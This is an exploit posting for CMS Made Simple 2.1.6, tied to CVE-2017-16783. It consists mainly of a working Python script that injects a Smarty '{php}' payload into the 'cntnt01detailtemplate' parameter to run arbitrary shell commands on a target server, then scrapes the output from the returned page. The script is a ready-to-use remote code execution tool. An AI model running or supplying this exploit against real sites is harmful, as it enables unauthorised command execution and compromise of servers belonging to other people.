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CMS Made Simple 2.1.6 Server-Side Template Injection

CMS Made Simple 2.1.6 Server-Side Template Injection
Posted Oct 26, 2020
Authored by Gurkirat Singh

CMS Made Simple version 2.1.6 suffers from a server-side template injection vulnerability.

tags | exploit
advisories | CVE-2017-16783
MD5 | d4a648e9d5a966f59c5fd6ce63fd583e

CMS Made Simple 2.1.6 Server-Side Template Injection

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# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection
# Google Dork: N/A
# Date: 11/10/2017
# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: N/A
# Version: 2.1.6
# Tested on: Linux
# CVE : CVE-2017-16783
# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

PFA
-------
Gurkirat Singh
(tbhaxor <https://google.com/search?q=tbhaxor>)

from argparse import ArgumentParser, RawTextHelpFormatter
from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus
import requests as http
import re
from bs4 import BeautifulSoup, Tag
from huepy import *
parser = ArgumentParser(description="Exploit for CVE-2017-16783",
formatter_class=RawTextHelpFormatter)
parser.add_argument(
"--target",
"-t",
help="complete remote target with protocol, host, path and query",
required=True,
dest="t")
parser.add_argument("--command",
"-c",
help="command to execute (default: whoami)",
default="whoami",
dest="c")
args = parser.parse_args()

print(info("Building malicious url"))
url = urlparse(args.t)
query = parse_qs(url.query)
query["cntnt01detailtemplate"] = [
"string:{php}echo `echo tbhaxor;%s;echo tbhaxor`;{/php}" % args.c
]
query = {k: ",".join(v) for k, v in query.items()}
query = unquote_plus(urlencode(query, doseq=False))
_url = url.scheme + "://" + url.netloc + url.path + "?" + query
print(good("Done"))
print(info("Executing payload"))
r = http.get(_url)
html = BeautifulSoup(r.content.decode(), "html5lib")
main: Tag = html.find("article", {"id": "main"})
main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()
print(good("Done"))
print(info("Result"))
print(main)
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